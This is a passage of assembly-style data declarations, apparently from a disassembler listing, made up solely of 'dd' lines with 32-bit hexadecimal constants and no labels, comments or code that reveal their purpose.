		dd 698A2915h, 4E44FE92h, 0BD0FD5C4h, 10BDD056h,	60481B51h
		dd 1889DF25h, 340FD2D9h, 93DA0A2h, 3046D68h, 325956D0h
		dd 0E597FF0Eh, 19A151F2h, 76C8DF00h, 1CAC387Dh,	309A0B00h
		dd 7FB0CFAEh, 2A18EEA3h, 4AAA2BB7h, 0B8F0F990h,	0F0DD00FBh
		dd 0F2BC1064h, 0B1970189h, 0CA2AF85Bh, 0DF9A5AD6h, 4DD8A682h
		dd 0F5AB980h, 76BD16E6h, 919D614Ah, 7D722F2Bh, 25F45050h
		dd 0E958C257h, 0DC2C5EB7h, 170AB1E4h, 3B890F92h, 1FC9B584h
		dd 0F101955Dh, 0F3CA885Bh, 14B01E02h, 5E9163B3h, 522BC437h
		dd 0C92AE5E1h
		dd 91C72A18h, 70E60F08h, 0C14A87ABh, 6A9AAE80h,	606971E4h
		dd 69C6FD1Ah, 5E892140h, 117FE85h, 0F31F93ABh, 0B5092B04h
		dd 28BC29D9h, 9FCFA996h, 6750A4A1h, 65FC10C0h, 6617CC3Dh
		dd 80099957h, 0EA2578FBh, 722BF64Ah, 0C8C84F51h, 100F866h
		dd 20078042h, 26D13A3Fh, 88338BDDh, 0C4250EF9h,	0D0FADD2Ch
		dd 0F7844F11h, 0EB817C41h, 212FFE79h, 18193520h, 0A7034585h
		dd 44EC5C9Ah, 0DE08241Ah, 44F89801h, 618006E1h,	0EB6352E9h
		dd 1C198509h, 95442179h, 0FD41ABBDh, 622F1AC5h,	60244221h
		dd 731D77E2h, 7BD88717h, 24ACC10Dh, 0EAA6C044h,	10A70E01h
		dd 1CAABD99h, 4B4E32Ah,	61D78B5Fh, 298137BDh, 831F5B5h
		dd 0CA7C8A04h, 2CB91934h, 185FAC84h, 12C3B7FAh,	0FB958B56h
		dd 625A414Bh, 0CBCDED22h, 95D24CD7h, 359D3E6Eh,	12CC0288h
		dd 9F5EA3AFh, 9DFC9840h, 0BD900022h, 0D36315DBh, 0E8225CCCh
		dd 0D570000Bh, 0CF16A764h, 96264828h, 992D9A68h, 0B9C45B46h
		dd 0B7107032h, 54DC3774h, 97D8A28Ah, 177B6A8Bh,	24664670h
		dd 173D7779h, 0FC138245h, 0EF715D5Bh, 5AE50220h, 0AC23E219h
		dd 0D3E4009Fh, 57077DFFh, 0E2080280h, 0A6BA5F56h, 57189AAh
		dd 0DBFA945Ch, 268B5049h, 625D0D34h, 0D5DE5C84h, 4668FCC0h
		dd 700117AFh, 0D0BBA08Ch, 5EC2782Eh, 16DD4A8Ah,	0F1C5242Dh
		dd 0E8FC2D08h, 0AF3A0465h, 0D9D6B23Bh, 0D9DD2A28h, 0A067B62Ah
		dd 1A253057h, 5A26D940h, 56F9A9FDh, 0B5BD5EDBh,	13BA1ED3h
		dd 0C0AE064h, 1184604Ch, 0B5171359h, 61AAA0CDh,	0C0614D97h
		dd 4929611Ah, 0E5EFF502h, 5EB75FFFh, 141E51C3h,	0DFA4D8AAh
		dd 260DB023h, 10590821h, 0F8E1FF0Bh, 0CE174B01h, 97A8227Dh
		dd 0B6697814h, 516DFF1Ah, 2700CBC7h, 12757DF5h,	0F225FBEAh
		dd 0A04F8899h, 491D13ADh, 0B36FAB60h, 2B10C901h, 2FEAB33Ah
		dd 6EE09012h, 0EEF0481h, 0BD2C332Ah, 1C21C4Bh, 0DE9C5625h
		dd 2C23C70Eh, 5665818Eh, 0C1642E64h, 0A2325AB8h, 4A34A864h
		dd 12A2C843h, 8E459Dh, 0E1649F47h, 41BD759Dh, 0B9042519h
		dd 95F9D268h, 0A70558A8h, 0C4542A8Ah, 37CC1584h, 105A1C13h
		dd 0F379C092h, 0B88AAD2Fh, 1260D54Ch, 7DAD2404h, 8902C7B8h
		dd 794F6B8Ch, 0D0AFDB1Eh, 0AE058610h, 1538FCC5h, 0DFD3C703h
		dd 0CF0A0989h, 0D4599D4Dh, 0C50BB61h, 62647ECAh, 0DA565B57h
		dd 0E6C4A5h, 0B82E1046h, 2B6499B9h, 0FA8B570Bh,	0F946895Bh
		dd 0EDD982F1h, 507F659Ch, 9A070018h, 0A3AA0AF4h, 5F4A10B7h
		dd 0F65B33F3h, 53161CDFh, 0CC1CDF01h, 1907AF57h, 0DC2FF6h
		dd 41683D29h, 0BD09EAFBh, 4F85D159h, 78D70A20h,	0CEC20A01h
		dd 2945195h, 5BC7D4EFh,	5349E57h, 0E96DEF80h, 70B7BFF1h
		dd 4F930CA0h, 0AABB9104h, 9BA37A4h, 0BDD74C40h,	7F5F806Fh
		dd 0D099CD58h, 0F6C4D53Ah, 537D817Ch, 1196F358h, 57A0FE9h
		dd 1520FD24h, 0A8E7EF9Ah, 0B7E65B25h, 0C18D3109h, 0EA7C5E28h
		dd 0A208091Dh, 89928279h, 0F6E6FBEh, 0E28E2B74h, 0DC810FBBh
		dd 0AEFA6461h, 2D98CB34h, 1EDCBF09h, 0FD92239Dh, 466ED3h
		dd 0A8E8F768h, 0B7962225h, 7BE950FEh, 0DA81C9DBh, 0F520660Fh
		dd 82242F68h, 0C06B9BBEh, 142982FBh, 0AA9607BAh, 0B0E068A7h
		dd 56BB4FC2h, 15309813h, 3E1FF4A0h, 0F64EDDC0h,	8CF7E0CAh
		dd 0CA140139h, 0E17A7E30h, 0F7E26DBh, 54D9AF48h, 5A7153F1h
		dd 196BFBh, 0D3797AA6h,	24F3622h, 0B8666090h, 0C66D241h
		dd 0F3E5BB00h, 28B0C25Bh, 0D7680243h, 21974F69h, 5B3A185Dh
		dd 0F460F061h, 0A3CE07B8h, 0A45E35F8h, 80F1A890h, 0D2E69355h
		dd 9D8917A7h, 0AA5DC4A5h, 1CC8A2DAh, 7AF155C0h,	0B99B506Ah
		dd 61A12583h, 76709873h, 3B1209C0h, 74D016F7h, 0D3FB99A0h
		dd 9A69697h, 2821BD2Bh,	3FC68A79h, 7214BB27h, 6778FFh
		dd 0F605A7Bh, 2956CABFh, 0E1952Dh, 0E96159EBh, 42B29C27h
		dd 31050DA5h, 2E08B5BAh, 14E2886Bh, 1209B330h, 0B2117595h
		dd 10A416FDh, 48E99E47h, 0D64F1224h, 0DF7182C0h, 0D1004E47h
		dd 0A53D5409h, 704B77FDh, 282FF75Ch, 5700180h, 0E2626D9Fh
		dd 0C45B57Ch, 2F04D788h, 0EE458710h, 2ACC2100h,	0D371CE26h
		dd 335E4FAh, 311DDF07h,	0EE9DF985h, 0F88B8E45h,	80882AFFh
		dd 8248D4B4h, 0DDF704A8h, 0BD311894h, 9C7A4A81h, 0C9D32F5Ch
		dd 70A60732h, 0F91047A1h, 52369A1Bh, 995BB3C8h,	0E73B48B5h
		dd 0A507B009h, 20674ABFh, 0DCD5783Dh, 7F199400h, 0FE9B3852h
		dd 0D65A0681h, 7A795C72h, 76E21A97h, 65C6403Ah,	2EE60F2Fh
		dd 0B31C19Dh, 9D3BAC14h, 0BB256D84h, 79A633C0h,	7C79B037h
		dd 579603FBh, 505FDD8Ah, 2D1DC18Ch, 6EE7DFBFh, 0AEC6B884h
		dd 1423F26Bh, 85018E02h, 2F105D1Dh, 2F5A12EBh, 0F3A9CFE2h
		dd 2DA01CF3h, 360129E4h, 0BD8974C4h, 0A63B11D9h, 3114F26Fh
		dd 0D1E72ADCh, 8F8BDA5Bh, 38B66262h, 3B325DBFh,	0CF9FF958h
		dd 0C9C14086h, 363C972Eh, 235389AAh, 0BE21D058h, 0DAF34074h
		dd 4D07EA2Fh, 87116172h, 6FCBE0EFh, 139A96AAh, 0A11A085Dh
		dd 0B8253D36h, 7C0E0371h, 60D88B48h, 8AB4EB9Dh,	0F89705B8h
		dd 0AE61318Fh, 0D46BE275h, 0D0BC8E00h, 0BFD13CDEh, 435E9809h
		dd 0AE46D120h, 0B11DDC09h, 0EF57BC0Eh, 0C6745AF1h, 0A49D7D8Dh
		dd 0A18DA0CFh, 18409D07h, 6C977FD1h, 61F9BC4Fh,	5197DBDh
		dd 0FC784CB1h, 0DDF288D2h, 72DB4400h, 0C2B983AFh, 0A82A09D6h
		dd 565196EFh, 3668000h,	8ACE71h, 696A609Bh, 19113B64h
		dd 9630D231h, 0DF21E29Eh, 0B24CCE23h, 7C80333Ch, 0C816B62Ah
		dd 0ED0BAC77h, 7F04FC51h, 0D8489546h, 0BA358F6h, 813AB1BEh
		dd 6190A5A7h, 0B260F62Ah, 40C6301Ah, 30FF7001h,	95317D1Dh
		dd 0EC64947Ah, 0FCD4B3Bh, 4917C86Fh, 78A31A4Bh,	9C5FB97h
		dd 3B8C9F9h, 0B9E55900h, 50A7904Ch, 0FB4709BFh,	0BD06425h
		dd 7AFD8A2Ah, 822337BDh, 8D852949h, 565EAFEh, 0F91664BEh
		dd 1BF71E72h, 0E7BF87FAh, 0BD800890h, 9B84C168h, 181771BAh
		dd 0E31D1686h, 9090B89h, 6E554642h, 60F6ADB6h, 274C561Dh
		dd 9F45149Dh, 725C1EE2h, 8D160EDEh, 0B94283FEh,	0E6517E37h
		dd 0CE93FD02h, 51A2F6B4h, 2F8DDDCFh, 5F250ACBh,	254CFD1h
		dd 0D9E0171Fh, 0D3E8D586h, 0C65E0FD6h, 9989AF9Eh, 76E9A1D1h
		dd 662DD447h, 35B1FDBCh, 0BF5B8305h, 89294FB1h,	0F13AC9E9h
		dd 9DCC2084h, 5CBEDD5Fh, 7D055141h, 0BC9DC14Dh,	5E160964h
		dd 0BED37114h, 57071011h, 0F0792C84h, 730A8F97h, 193DA001h
		dd 0FCB51C76h, 7303170h, 0BB905BC0h, 4F454161h,	0DEAE9E50h
		dd 17E6CA3Dh, 27E2C4E0h, 8C610712h, 0E077D90Ah,	1281AA1Eh
		dd 0A3C7802Ah, 0FCA7846Bh, 8A109810h, 62CAC5FCh, 1CE6AFF3h
		dd 0C5CFE9F0h, 41774312h, 5681A5E8h, 0E4F74D61h, 63EA958Ah
		dd 78D84B1Ch, 8FA25B93h, 0E8806080h, 83A0F5CAh,	65F8BB50h
		dd 0CC5EA13Bh, 2E1618FAh, 42998DC3h, 69E94A0Ah,	0F609F4B8h
		dd 79D0CE97h, 0BD2382F4h, 0EE7518D5h, 219B81B0h, 0D1FF02FEh
		dd 58004551h, 5FD20EEFh, 93A6C220h, 0DD5E5B27h,	0A156851h
		dd 17F34400h, 816F02h, 2FA2CD83h, 16808702h, 0A890B1D2h
		dd 0EF3020DAh, 0A5DDF838h, 0B6834FD9h, 0E1CEAF47h, 19DD7732h
		dd 9AAE32Fh, 7D330FEDh,	250358Ah, 140D9529h, 87E8E45Eh
		dd 1293F915h, 44E8EAE9h, 5F36CE1h, 0FED80882h, 0B8C625B9h
		dd 33201997h, 1120C96Ah
		dd 21AEBAF7h, 520C858Bh, 32AE51C0h, 124258D6h, 97002CC6h
		dd 126C7F9h, 9035060h, 48E3A63Bh, 3C938578h, 0F3181D51h
		dd 35A7D91Dh, 0E389D442h, 1200F0D5h, 0F534ADDBh, 0DCB72BAEh
		dd 1BA175E0h, 9EC5E34Bh, 25A7A6BEh, 6BC85687h, 76E4D5h
		dd 0C678D6BBh, 0F98A5B02h, 6EFF6A5Fh, 6D730EDDh, 0A8D6A0ADh
		dd 5A64578Bh, 11CC259h,	0DA4466D4h, 508BA2BDh, 66804BF3h
		dd 0EE9716FFh, 5FC51623h, 0FAFDC07Dh, 0BB1C5B18h, 5E49E36Fh
		dd 60A7FEB0h, 969294DFh, 1AA1121Dh, 0E26236C0h,	488A2CA5h
		dd 0BD1F89DEh, 725EE7DDh, 21CF562h, 276071E4h, 0E6950B75h
		dd 9D0266E0h, 0ED3C23h,	4B559D2Bh, 0E8BEC80Ch, 5D5710E9h
		dd 351B0063h, 0C4E16D5Fh, 47054F19h, 5115C77Eh,	2D7EFDB8h
		dd 765106BAh, 702F26A6h, 2E1541A3h, 78FCDD09h, 208DB0CDh
		dd 0E1B72B3Dh, 0E32A20BDh, 9C5108Fh, 1B1CF092h,	0D3A2E980h
		dd 0E2F91E67h, 386CF09Dh, 5F804C44h, 7A1DE781h,	83971E74h
		dd 365652CCh, 0B0E5098Ch, 2DF164B5h, 0EB711985h, 0B84E0E91h
		dd 7914329Dh, 0FA6FA466h, 0E8D7C1BCh, 17B98224h, 0D05E40CAh
		dd 9A9E005Fh, 6FE1C6D5h, 0F80AFE60h, 0FD3784C0h, 468DC702h
		dd 44D35E5Fh, 0D8885236h, 0B02D1D37h, 0F372050Dh, 0F5F4BE7Eh
		dd 2AA804BFh, 0BD7F800Ah, 0E3189C7h, 0C0681095h, 0BD0B408Ah
		dd 94973069h, 6FDE16C7h, 0BDF2FD17h, 0BBA76040h, 27087E0Eh
		dd 70DB6A30h, 9A752678h, 860F2F87h, 38509875h, 2D799804h
		dd 277BADD7h, 8181959h,	171F9A38h, 0E8408A2Bh, 0E9B9433Ah
		dd 14FB970Fh, 123294D0h, 15FF7Bh, 47F8E341h, 85976B44h
		dd 0BAFC50CDh, 24BD31C7h, 5E5F0B0Ch, 0C87DDE5Ch, 0A38DCD00h
		dd 2BF57B20h, 9B7395C0h, 66181451h, 0FAFCD3B5h,	1100CB6Eh
		dd 76A19623h, 2D9A86F4h, 747907ADh, 0BCD62B90h,	0D32325C0h
		dd 20FF2817h, 91F01CDh,	0E5E53595h, 0BDB5A793h,	0FC76B907h
		dd 4F1C44Bh, 9EF83CB7h,	5E09FE3Dh, 809B7B0Ah, 9839CF81h
		dd 0D1B547E3h, 86AE76AEh, 75BC502Fh, 0DC569211h, 0DF0080AAh
		dd 818CFF9Ch, 9034DED8h, 91194AF1h, 0DEA1B584h,	42449CD7h
		dd 0EB810268h, 0DCB81BDCh, 0FE00FCDDh, 2DDD8611h, 0B5A7600Eh
		dd 895CB61Ah, 0D3E59E6Fh, 47B5D01Fh, 845CA98h, 0C4028CD8h
		dd 0BC03B30Dh, 0DDC4A3AAh, 5E7AFEh, 615F19B4h, 720E2BF4h
		dd 30A580D6h, 0C46D7195h, 0AFBB43A8h, 5D4DB2D1h, 6FF94E16h
		dd 9D088B8Ah, 60131465h, 2DE2B6B6h, 2724B75Eh, 740FF909h
		dd 1D46D42Bh, 57912F00h, 2B32649Ah, 40581C01h, 0DD953360h
		dd 104BA97Ah, 612507C1h, 1116EAE9h, 0BFD8F380h,	1007132Dh
		dd 6BAB06h, 69001D23h, 911706C9h, 836838AFh, 2D39B874h
		dd 5EEAF59Dh, 7EA5BE5Ch, 7128F47Ah, 4009B587h, 6490E6C6h
		dd 0E0827D63h, 0DFD85183h, 531202DDh, 4021E2h, 9B590D9h
		dd 807DBD92h, 8D68B8E7h, 0E65C617Fh, 2B05AEDh, 0BD841472h
		dd 0B12ABB19h, 775B95C1h, 7337185Ah, 95B3B08Fh,	1564C1CDh
		dd 6B767F61h, 0CC043C34h, 0E6C82BB5h, 0E92140E5h, 1C013520h
		dd 921CAEBFh, 5A3EF327h, 0F01A413h, 19D18D09h, 2695E72Ah
		dd 0FF2DC189h, 50B53C02h, 54D888D3h, 41EE25A5h,	0F89023ECh
		dd 6FED2BB2h, 6C00656Fh, 0ABB33CA0h, 2135C2Dh, 28BA5626h
		dd 2BA08F76h, 0B14BF780h, 35BF1EC4h, 0C2B9E08Dh, 0B8F39A5Fh
		dd 0D57CA00h, 97312284h, 0A43C2309h, 0A80E7996h, 0D9D2549h
		dd 0BE797329h, 2508E4Ch, 0A624BB53h, 64D701D9h,	0BA6000A8h
		dd 146BB95Bh, 5613BE66h, 44BA619Fh, 520DE836h, 0B3AEB0AEh
		dd 2E158C00h, 0E8B8C7EBh, 0C0BF05C5h, 0B838881Ah, 0FE8B13F9h
		dd 0B34531BAh, 8A62DED7h, 6F882F52h, 2001AEFBh,	86646E9Ch
		dd 5EC6C38Ah, 53E06B12h, 0B03DBB50h, 623B277Ah,	5289B180h
		dd 5BAD816Ah, 0F06B6661h, 90B63C75h, 0D9CD123Dh, 2B38AE29h
		dd 1FBD21B5h, 160E69E7h, 803ADBEAh, 1BAEC4A0h, 0D8690B96h
		dd 87C02536h, 0E9348CB7h, 0DBFB2A56h, 573BC9CBh, 1147A98h
		dd 0C0A64600h, 0D424BC62h, 7BBF478h, 2D81FB16h,	0BFEE304Ah
		dd 2F127E70h, 0C6E35F6Ch, 0A8545DBAh, 7B9E000Eh, 0B3C4D39Bh
		dd 609F1613h, 951CD9D5h, 4A01F73Dh, 1C48FE30h, 4A19EF20h
		dd 0E1B8B81Bh, 0B72F0491h, 0CEECA0DEh, 0FE65129Fh, 63482C2Bh
		dd 0EC1A0449h, 25205FE1h, 5CCFAF57h, 66449202h,	4DD54D9Fh
		dd 0BC536BCCh, 8AF10502h, 78275F4h, 0EC5C3EF2h,	59B85B69h
		dd 2D4C1816h, 315EF55Bh, 37F41502h, 618B617Dh, 0AD4A3F38h
		dd 0A29AD29Eh, 0F380E48Fh, 184EFC0Fh, 8057D99Dh, 201EA3E3h
		dd 0B875FD6Ch, 275FAF00h, 0F41CA7BAh, 0C4FF0BA4h, 0F5DEB42Fh
		dd 23577427h, 3B0B26A9h, 97C66A25h, 45F32F88h, 0D4BEBD0Eh
		dd 0B36020DAh, 30190Fh,	0B2D70B17h, 43089CFAh, 3585FAA0h
		dd 1ED7A9AAh, 6710B78Eh, 4400B92Dh, 15567407h, 4FE37A70h
		dd 5FF300BCh, 1239B529h, 796C7BB5h, 3184C317h, 697CE930h
		dd 82758A70h, 57C63B5Bh, 0DEBA95B3h, 442F725Ch,	85FE4B56h
		dd 0B8A8B960h, 0F8DC4014h, 0E28AB5A1h, 0FBEB565Ch, 32015091h
		dd 0FE114605h, 17B1483Fh, 0A755122Bh, 84C4B061h, 60F1383Bh
		dd 8992F9B8h, 9D4BFABDh, 0DEEDFE6Ah, 0A563E718h, 9EB815Eh
		dd 85DD4F9h, 78F84131h,	3704D679h, 96092529h, 5DE7157h
		dd 0AE585360h, 8B8ED782h, 25F75E0Bh, 3C103363h,	0F1400AF1h
		dd 0FC373FE8h, 1CB921CDh, 0D9B7D48Eh, 0A568B199h, 0F1B22A24h
		dd 80169AD2h, 3A2E624Ah, 0D491255Ah, 1C114CC5h,	37BB6602h
		dd 2759501Fh, 62C35C25h, 0AD57F98Ah, 0F87FA242h, 3BDA4A2Fh
		dd 4CC01BC8h, 948877Ah,	0EAE498FFh, 950F1098h, 0D2FA7000h
		dd 5009B593h, 0A03500F2h, 3BC1E96Fh, 31047B9Ch,	599D016Eh
		dd 0C1D4D4FEh, 2E0A995Dh, 0E9A66274h, 0EB1F2BE0h, 0C4878600h
		dd 0CD53D9F7h, 5CD30581h, 6456CE27h, 1D8C0480h,	0D058B905h
		dd 79D512AEh, 0C28E3DE2h, 80FE9E13h, 0F9EF591Dh, 6A8016AFh
		dd 4688FE09h, 7D7887h, 2F02C7A5h, 318AA162h, 2B35B515h
		dd 0B44394h, 0AF631145h, 7E59CAh, 8A3637E1h, 88509F13h
		dd 3001C67Ah, 9D238082h, 2B090A75h, 9BFF5416h, 0C410C0CFh
		dd 0E9031Eh, 0D99E3C1Dh, 5B3AB757h, 20E9C64Bh, 0E417EDE8h
		dd 8B948F0Fh, 47C89DC0h, 9512E81Ch, 6103915Fh, 2FC0C22Ah
		dd 95521EDDh, 5A000144h, 16014453h, 9DA7F5F1h, 0F3816094h
		dd 605BFDE1h, 1FFD931h,	852E16E9h, 94A3BE10h, 97C1EBA4h
		dd 0A67A1E01h, 0FD3000EAh, 626FD3D4h, 217761h, 0A79B1F1Bh
		dd 79E63817h, 0C674F712h, 9BB8DE0h, 6773BFCFh, 882E31D7h
		dd 69624F69h, 61022A25h, 9CF9DF90h, 9A265016h, 0F5BF190Ah
		dd 7F84226Dh, 81A43AACh, 50B99E9h, 9BDBC8h, 0E7A10944h
		dd 8F98B052h, 0EAAE6502h, 55F448C6h, 88262CDEh,	546A5B8Dh
		dd 0A898B31h, 0E5139529h, 2C4C20Eh, 736FD718h, 50C0C925h
		dd 7EE38501h, 0B2A30352h, 6FD0124Ah, 8AEA4A14h,	31AE4024h
		dd 0D412A99Fh, 0F50EDEB6h, 74ADBD29h, 7B033C24h, 0C9F7075Ah
		dd 443EA05Ah, 7A8C1B4Bh, 0DDD148FFh, 94956D22h,	0D960456Ah
		dd 51212A82h, 6E6F026Ah, 0F0ED00B3h, 0D0DFA4D4h, 4E213BBh
		dd 9DCB059Fh, 91C38821h, 0B5503040h, 2C115C10h,	0D6E57401h
		dd 292D26ABh, 2530C956h, 60C50F21h, 2C8DBD04h, 0E9DE8A01h
		dd 62382E2Ah, 0B71D92CEh
		dd 43ADF883h, 2A059010h, 0AF282184h, 50FC2570h,	31B50CBFh
		dd 518D7636h, 0CFE64097h, 0CC020BBAh, 11897FC1h, 0BF975158h
		dd 124C928Dh, 5A46B2B8h, 0A782869Eh, 0A642511Dh, 8B910375h
		dd 52210008h, 1485F781h, 0D4BD2F31h, 0FA8B65E5h, 2D29F7F4h
		dd 0F6D2CD9Dh, 6D81FF4Ah, 7A60DEC4h, 56BCAAA1h,	2A5B69E7h
		dd 0B388D216h, 0B00140EDh, 0FA96CCD8h, 70E6255Fh, 2BF8FB61h
		dd 6465F75Fh, 0AC92566h, 5762F164h, 9309D14h, 0D9ACE051h
		dd 0BFC302C9h, 7C806203h, 0E4422561h, 349B10D7h, 99B00059h
		dd 0F653AC1Dh, 3D096FB4h, 587BE89Eh, 2BFC00F6h,	0BEECBBC8h
		dd 58957E6Eh, 296A44DDh, 0B2D256B7h, 2E52CDDCh,	4C508500h
		dd 80524755h, 0E52D5ACBh, 340E9BD4h, 0DFBF800Ch, 298D286Bh
		dd 3BDB1784h, 6F19CDD0h, 803F03ADh, 0DD6665A5h,	177A8964h
		dd 1D9862AEh, 54B50922h, 0B34CA502h, 402ABF05h,	0A210455Eh
		dd 0AC984A53h, 177F25C7h, 3DE74E4Dh, 0FB8D9903h, 0A12FF0DBh
		dd 0B66A5A75h, 0F75CF19Eh, 9A711F4h, 0DBB13F7Dh, 6554D02h
		dd 80D06E55h, 2D3E56F8h, 9D72ABB9h, 14B19D10h, 3035B7C7h
		dd 0B36EE4BBh, 65536D4Bh, 39606FFAh, 218201BBh,	413ACF58h
		dd 91F1202Fh, 9B0270DCh, 0FB8A5B6h, 9F811281h, 2A516FF7h
		dd 6E7F9EB1h, 70B25E5Eh, 8A63BB14h, 0B7564C25h,	11946FEh
		dd 8B7871A5h, 0B484C507h, 0AB166BE7h, 165FC61h,	66A64A0Eh
		dd 0A23DC1A4h, 92ED6E64h, 82263058h, 85296156h,	100B2FA5h
		dd 0ACB5555Bh, 0E186CA7h, 7F12BC30h, 0A51412D2h, 8D2E2A40h
		dd 61C01CC8h, 5289397h,	4690456Ch, 3F31BE07h, 83BDF80h
		dd 0BF8105A1h, 4553C62h, 5B8A72Dh, 76189925h, 9D0940A6h
		dd 57990729h, 672BA53Fh, 0E1F038B9h, 0F0F8B62Eh, 82352C40h
		dd 0B19BF662h, 7EFC4F4h, 9958D93h, 0CDADB75Bh, 80D5CB6Dh
		dd 0FFD33B19h, 7953BBE1h, 438C40A7h, 0A10102B9h, 811108AAh
		dd 2FEC75CBh, 0D5949523h, 0A401E645h, 382B10A9h, 26D3EEB1h
		dd 0ECBD50A9h, 3C016DD0h, 6030F84Eh, 0DA31CA8Bh, 61A5926Eh
		dd 7F51D856h, 0CDA6BE15h, 0C19DD5E0h, 0BC32E700h, 104C3994h
		dd 4DBD1631h, 0A822BD09h, 7E268C15h, 0CE022385h, 5605B830h
		dd 168826F8h, 163DF733h, 9BC0B41h, 0FF011FC5h, 0D900407Ah
		dd 93AB327h, 125A918Dh,	0BF0218B7h, 3E4E4BDBh, 46D6C956h
		dd 4D94001Ch, 102EF86Ch, 46782E06h, 90811273h, 41B8606Dh
		dd 6411AE05h, 0D4AF29B4h, 0B908E9A6h, 0B927FE2Ah, 4B185529h
		dd 0FA9F3B5Bh, 13D40028h, 3DEA7F21h, 0E802ECEBh, 51729F68h
		dd 3290776Eh, 7CBF2F2Ah, 0B0825201h, 48D5F84Ch,	2C71601Fh
		dd 89646E4Eh, 645108EAh, 0D5D30EBDh, 8910E209h,	1BEFDF85h
		dd 0E9FE74C0h, 0F7FFA2BAh, 64706CD3h, 0D11412FEh, 48DDB617h
		dd 0D58D4A47h, 0CCFF81Bh, 2C3556E0h, 8F2C23D8h,	45092746h
		dd 5CF95905h, 9091DE0Ch, 95FBB0B2h, 35B5FCB0h, 25E7284Ah
		dd 0DE525DE0h, 0E9130E0Ch, 3FA81B0Dh, 9992369Dh, 0FEF2B07Dh
		dd 73FC8616h, 16ACA7E9h, 7EE9128Ch, 0EC9CE0F1h,	2185E74Bh
		dd 0CBB6DBAAh, 4564F5E9h, 0A4BCA3B6h, 9D41F345h, 96001065h
		dd 0B11393BBh, 63C14120h, 8BECCD71h, 451B97D9h,	0B0DB9C04h
		dd 981682Bh, 96BC863h, 6F784860h, 9B1FF3Ch, 5986B337h
		dd 254B1F4h, 658288A8h,	6D901A32h, 4DDDAC8Bh, 0F8F2C32Dh
		dd 236194E0h, 0BFDBA601h, 4B01138Fh, 0C88F9A6Bh, 0F0B9C71Dh
		dd 0B5AEF67Dh, 31124607h, 1D6401E7h, 2561D1E0h,	355C4CB7h
		dd 0E8100871h, 4B043686h, 54117C2Dh, 33A3E5A8h,	14233E84h
		dd 8497E27h, 51250959h,	0D75327BDh, 30859D04h, 0A4BD3BABh
		dd 2551E6C1h, 0B2C0DE5Eh, 6FB05F22h, 0D32FF902h, 0DE602618h
		dd 0CD7D400Eh, 0FC01786Ch, 184D88FDh, 0DBD4AB50h, 5C0C08F6h
		dd 5918A0F3h, 0B90EA98Ch, 7C85E62Ch, 0E38152C0h, 52AAB3A7h
		dd 11CDF309h, 0F7DB3F27h, 0F3E88680h, 8D2F9509h, 4229BA2Fh
		dd 0BDA17AABh, 1459245Bh, 62271D36h, 0D9736282h, 146C2356h
		dd 96E31274h, 26A7B30Eh, 111BB7FCh, 8C1FC75h, 7A91983Ah
		dd 0C06E0005h, 5FFE4F5Ah, 4A5B9796h, 1278B78h, 0ED0B85D6h
		dd 3AA449C6h, 0ED18D1Dh, 0BB028B46h, 4C78584Eh,	5769AC56h
		dd 8E9049D1h, 9A59F8C9h, 70A5DBEBh, 0FD014895h,	8870BFFCh
		dd 252B7EF9h, 916FEBA4h, 0CDC76600h, 12398D31h,	0E48B6DBDh
		dd 3B23601Ch, 0B9570286h, 326C5F6Eh, 420336D9h,	0E05A7035h
		dd 0FDFAD0B8h, 0E6E9B844h, 0AEC28312h, 0C2E095F6h, 1D0B5429h
		dd 0DE05BC79h, 0AF0847F2h, 6C8BDF00h, 0DCE4F5BEh, 0FFC4374Ah
		dd 33B8DFE9h, 5EA66C00h, 57DD60E4h, 98ED90F6h, 7A56BF44h
		dd 2D298D85h, 5068CAAAh, 0AE4A7066h, 5F0BEDCCh,	0B8752BDh
		dd 62E1B9BEh, 9BF67B6Ah, 589D82F0h, 0D6715B19h,	0A26A5152h
		dd 0BC1F9330h, 5D92CD04h, 0D3762ABh, 0B0140F20h, 124D008Ah
		dd 0D3959886h, 3558DDDEh, 8C6804EFh, 35AB7D20h,	6F590723h
		dd 5348F0C6h, 115B3772h, 0E09252FEh, 92C49657h,	3F29193Dh
		dd 0AB256F6Eh, 1495D766h, 413845B5h, 21F6D34h, 41D78650h
		dd 955F78F3h, 0B12831F7h, 0F277956Bh, 8E7E0020h, 20DEEC21h
		dd 1F95392Ch, 0C403D34Ch, 9FBF4DB9h, 0ECD0D3B0h, 0DB76DB34h
		dd 0C0DE9EEBh, 54019261h, 0E50C04F5h, 0C2307D3Eh, 38FD1131h
		dd 7964D4h, 9AFF3A95h, 0B406547Ch, 0F6877F2Fh, 0EABDC544h
		dd 0DA6A4BE1h, 0C017C83Dh, 8596DF3Ah, 54117995h, 148A2948h
		dd 12D11CCCh, 0E4B72C61h, 0B99F92Ch, 695C0B7Dh,	9E3F6571h
		dd 0D97FC3CDh, 201498CBh, 97F704C2h, 90F19D2Bh,	0F9BD2922h
		dd 0D8A8185Ah, 0A061A6B5h, 56FE9D5h, 0EB614CD8h, 653CFCD0h
		dd 8AECC6D9h, 0C48AA292h, 8AFE8C0Fh, 407101DEh,	0F9B438B5h
		dd 171B73Bh, 0A5D704DAh, 52BD8E9h, 0ADC18B86h, 0ECBB8FAh
		dd 86D70FB1h, 9C3E22A1h, 85F36A2Ch, 0F6458C4Fh,	21A96607h
		dd 0A570EFB5h, 87B8D15h, 0CE8DDE0h, 1FCAED80h, 7F51AFB0h
		dd 2FDAB74Eh, 618D0112h, 0A95BD34Eh, 0B5D5F5h, 42821491h
		dd 0D25C5090h, 0B1465240h, 911D0EBCh, 96890BD5h, 57491F5Ch
		dd 7F807971h, 7417D3BCh, 0D3FA9FA6h, 0D074F397h, 4C091612h
		dd 0FD086667h, 80EE2091h, 49D7810Ch, 0C25F3E0Dh, 181211F4h
		dd 5D2FAB58h, 9610DF01h, 0D154BBFh, 5C6090h, 0D9DE77EAh
		dd 0CC25E4h, 0F1844AEEh, 0B1E53AFBh, 8A5E0804h,	0BEAC61EAh
		dd 0DFE7BF02h, 0C35647A7h, 8E9B9097h, 1BB75580h, 31988CA9h
		dd 67226925h, 601AE4BCh, 0AAD0ED0h, 2132AAB3h, 0C9401D8Bh
		dd 0BDD557CCh, 0A5D909B3h, 0B381D959h, 0B8F0FDEh, 5886E2Ch
		dd 0CE31BB8Fh, 59B976A3h, 0A86FFDD2h, 0D6320971h, 0BA0934DAh
		dd 0FF5B9960h, 0BC76D159h, 231497CDh, 0E4DE8A5Eh, 0BD3337C0h
		dd 0DBA931DDh, 454A2002h, 0BF1E90F2h, 4C169BCDh, 0C8F9004h
		dd 6450852h, 4FE466A5h,	81E5DB90h, 231D4676h, 0C8042733h
